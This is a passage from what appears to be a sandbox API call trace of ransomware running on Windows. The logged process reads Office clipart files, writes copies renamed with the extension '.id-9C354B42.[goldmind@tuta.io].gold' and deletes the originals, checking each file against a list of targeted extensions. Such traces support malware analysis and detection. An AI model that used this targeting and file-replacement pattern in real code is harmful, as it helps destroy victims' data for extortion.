lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0114.529] GetLastError () returned 0x0 [0114.529] ReadFile (in: hFile=0x194, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x2004, lpOverlapped=0x0) returned 1 [0114.816] WriteFile (in: hFile=0x198, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x2010, lpOverlapped=0x0) returned 1 [0114.817] ReadFile (in: hFile=0x194, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0114.817] WriteFile (in: hFile=0x198, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.817] SetEndOfFile (hFile=0x198) returned 1 [0115.114] CloseHandle (hObject=0x198) returned 1 [0115.114] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0115.114] SetEndOfFile (hFile=0x194) returned 1 [0115.153] CloseHandle (hObject=0x194) returned 1 [0115.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.153] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf")) returned 1 [0115.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF") returned 63 [0115.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF") returned 63 [0115.154] lstrlenW (lpString=".doc") returned 4 [0115.154] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.154] lstrlenW (lpString=".docx") returned 5 [0115.154] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0115.154] lstrlenW (lpString=".pdf") returned 4 [0115.154] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.154] lstrlenW (lpString=".xls") returned 4 [0115.154] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.154] lstrlenW (lpString=".xlsx") returned 5 [0115.154] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0115.154] lstrlenW (lpString=".ppt") returned 4 [0115.154] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF") returned 63 [0115.154] lstrlenW (lpString=".zip") returned 4 [0115.154] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.154] lstrlenW (lpString=".rar") returned 4 [0115.154] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.154] lstrlenW (lpString=".bz2") returned 4 [0115.154] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.154] lstrlenW (lpString=".7z") returned 3 [0115.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF") returned 63 [0115.154] lstrlenW (lpString=".dbf") returned 4 [0115.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF") returned 63 [0115.155] lstrlenW (lpString=".1cd") returned 4 [0115.155] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF") returned 63 [0115.155] lstrlenW (lpString=".jpg") returned 4 [0115.155] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF") returned 63 [0115.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF") returned 63 [0115.155] lstrlenW (lpString=".doc") returned 4 [0115.155] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.155] lstrlenW (lpString=".docx") returned 5 [0115.155] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0115.155] lstrlenW (lpString=".pdf") returned 4 [0115.155] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.155] lstrlenW (lpString=".xls") returned 4 [0115.155] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.155] lstrlenW (lpString=".xlsx") returned 5 [0115.155] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0115.155] lstrlenW (lpString=".ppt") returned 4 [0115.155] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF") returned 63 [0115.155] lstrlenW (lpString=".zip") returned 4 [0115.155] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.155] lstrlenW (lpString=".rar") returned 4 [0115.155] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.155] lstrlenW (lpString=".bz2") returned 4 [0115.155] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.155] lstrlenW (lpString=".7z") returned 3 [0115.155] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF") returned 63 [0115.155] lstrlenW (lpString=".dbf") returned 4 [0115.155] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF") returned 63 [0115.155] lstrlenW (lpString=".1cd") returned 4 [0115.155] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF") returned 63 [0115.155] lstrlenW (lpString=".jpg") returned 4 [0115.155] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.155] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0115.155] lstrlenW (lpString="J0212953.WMF") returned 12 [0115.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0115.156] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=7498) returned 1 [0115.156] CloseHandle (hObject=0x194) returned 1 [0115.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf")) returned 0x20 [0115.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0115.157] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0115.157] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0115.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0115.158] GetLastError () returned 0x0 [0115.158] ReadFile (in: hFile=0x194, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x1d4a, lpOverlapped=0x0) returned 1 [0115.160] WriteFile (in: hFile=0x3d0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1d50, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1d50, lpOverlapped=0x0) returned 1 [0115.160] ReadFile (in: hFile=0x194, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0115.160] WriteFile (in: hFile=0x3d0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.160] SetEndOfFile (hFile=0x3d0) returned 1 [0115.160] CloseHandle (hObject=0x3d0) returned 1 [0115.161] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0115.161] SetEndOfFile (hFile=0x194) returned 1 [0115.162] CloseHandle (hObject=0x194) returned 1 [0115.162] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.163] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf")) returned 1 [0115.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF") returned 63 [0115.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF") returned 63 [0115.163] lstrlenW (lpString=".doc") returned 4 [0115.163] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.163] lstrlenW (lpString=".docx") returned 5 [0115.163] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0115.163] lstrlenW (lpString=".pdf") returned 4 [0115.163] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.163] lstrlenW (lpString=".xls") returned 4 [0115.164] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.164] lstrlenW (lpString=".xlsx") returned 5 [0115.164] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0115.164] lstrlenW (lpString=".ppt") returned 4 [0115.164] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF") returned 63 [0115.164] lstrlenW (lpString=".zip") returned 4 [0115.164] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.164] lstrlenW (lpString=".rar") returned 4 [0115.164] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.164] lstrlenW (lpString=".bz2") returned 4 [0115.164] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.164] lstrlenW (lpString=".7z") returned 3 [0115.164] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF") returned 63 [0115.164] lstrlenW (lpString=".dbf") returned 4 [0115.164] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF") returned 63 [0115.164] lstrlenW (lpString=".1cd") returned 4 [0115.164] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF") returned 63 [0115.164] lstrlenW (lpString=".jpg") returned 4 [0115.164] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF") returned 63 [0115.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF") returned 63 [0115.164] lstrlenW (lpString=".doc") returned 4 [0115.164] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.164] lstrlenW (lpString=".docx") returned 5 [0115.164] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0115.164] lstrlenW (lpString=".pdf") returned 4 [0115.164] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.164] lstrlenW (lpString=".xls") returned 4 [0115.164] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.164] lstrlenW (lpString=".xlsx") returned 5 [0115.164] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0115.164] lstrlenW (lpString=".ppt") returned 4 [0115.164] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF") returned 63 [0115.164] lstrlenW (lpString=".zip") returned 4 [0115.164] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.164] lstrlenW (lpString=".rar") returned 4 [0115.164] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.164] lstrlenW (lpString=".bz2") returned 4 [0115.164] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.164] lstrlenW (lpString=".7z") returned 3 [0115.165] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF") returned 63 [0115.165] lstrlenW (lpString=".dbf") returned 4 [0115.165] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF") returned 63 [0115.165] lstrlenW (lpString=".1cd") returned 4 [0115.165] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF") returned 63 [0115.165] lstrlenW (lpString=".jpg") returned 4 [0115.165] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.165] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0115.165] lstrlenW (lpString="J0213243.WMF") returned 12 [0115.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0115.166] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=2652) returned 1 [0115.166] CloseHandle (hObject=0x194) returned 1 [0115.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf")) returned 0x20 [0115.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0115.166] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0115.166] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0115.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0115.167] GetLastError () returned 0x0 [0115.167] ReadFile (in: hFile=0x194, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0xa5c, lpOverlapped=0x0) returned 1 [0115.171] WriteFile (in: hFile=0x3d0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xa60, lpOverlapped=0x0) returned 1 [0115.171] ReadFile (in: hFile=0x194, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0115.172] WriteFile (in: hFile=0x3d0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.172] SetEndOfFile (hFile=0x3d0) returned 1 [0115.172] CloseHandle (hObject=0x3d0) returned 1 [0115.172] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0115.172] SetEndOfFile (hFile=0x194) returned 1 [0115.173] CloseHandle (hObject=0x194) returned 1 [0115.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.174] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf")) returned 1 [0115.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF") returned 63 [0115.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF") returned 63 [0115.175] lstrlenW (lpString=".doc") returned 4 [0115.175] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.175] lstrlenW (lpString=".docx") returned 5 [0115.175] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0115.175] lstrlenW (lpString=".pdf") returned 4 [0115.175] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.175] lstrlenW (lpString=".xls") returned 4 [0115.175] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.175] lstrlenW (lpString=".xlsx") returned 5 [0115.175] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0115.175] lstrlenW (lpString=".ppt") returned 4 [0115.175] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF") returned 63 [0115.175] lstrlenW (lpString=".zip") returned 4 [0115.175] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.175] lstrlenW (lpString=".rar") returned 4 [0115.175] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.175] lstrlenW (lpString=".bz2") returned 4 [0115.175] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.175] lstrlenW (lpString=".7z") returned 3 [0115.175] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF") returned 63 [0115.175] lstrlenW (lpString=".dbf") returned 4 [0115.175] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF") returned 63 [0115.175] lstrlenW (lpString=".1cd") returned 4 [0115.175] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF") returned 63 [0115.175] lstrlenW (lpString=".jpg") returned 4 [0115.175] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF") returned 63 [0115.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF") returned 63 [0115.175] lstrlenW (lpString=".doc") returned 4 [0115.175] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.175] lstrlenW (lpString=".docx") returned 5 [0115.175] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0115.175] lstrlenW (lpString=".pdf") returned 4 [0115.176] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.176] lstrlenW (lpString=".xls") returned 4 [0115.176] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.176] lstrlenW (lpString=".xlsx") returned 5 [0115.176] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0115.176] lstrlenW (lpString=".ppt") returned 4 [0115.176] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF") returned 63 [0115.176] lstrlenW (lpString=".zip") returned 4 [0115.176] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.176] lstrlenW (lpString=".rar") returned 4 [0115.176] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.176] lstrlenW (lpString=".bz2") returned 4 [0115.176] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.176] lstrlenW (lpString=".7z") returned 3 [0115.176] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF") returned 63 [0115.176] lstrlenW (lpString=".dbf") returned 4 [0115.176] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF") returned 63 [0115.176] lstrlenW (lpString=".1cd") returned 4 [0115.176] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF") returned 63 [0115.176] lstrlenW (lpString=".jpg") returned 4 [0115.176] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.176] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0115.176] lstrlenW (lpString="J0213449.WMF") returned 12 [0115.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0115.177] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=3840) returned 1 [0115.177] CloseHandle (hObject=0x194) returned 1 [0115.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf")) returned 0x20 [0115.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0115.177] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0115.177] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0115.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0115.178] GetLastError () returned 0x0 [0115.178] ReadFile (in: hFile=0x194, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0xf00, lpOverlapped=0x0) returned 1 [0115.180] WriteFile (in: hFile=0x3d0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xf10, lpOverlapped=0x0) returned 1 [0115.180] ReadFile (in: hFile=0x194, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 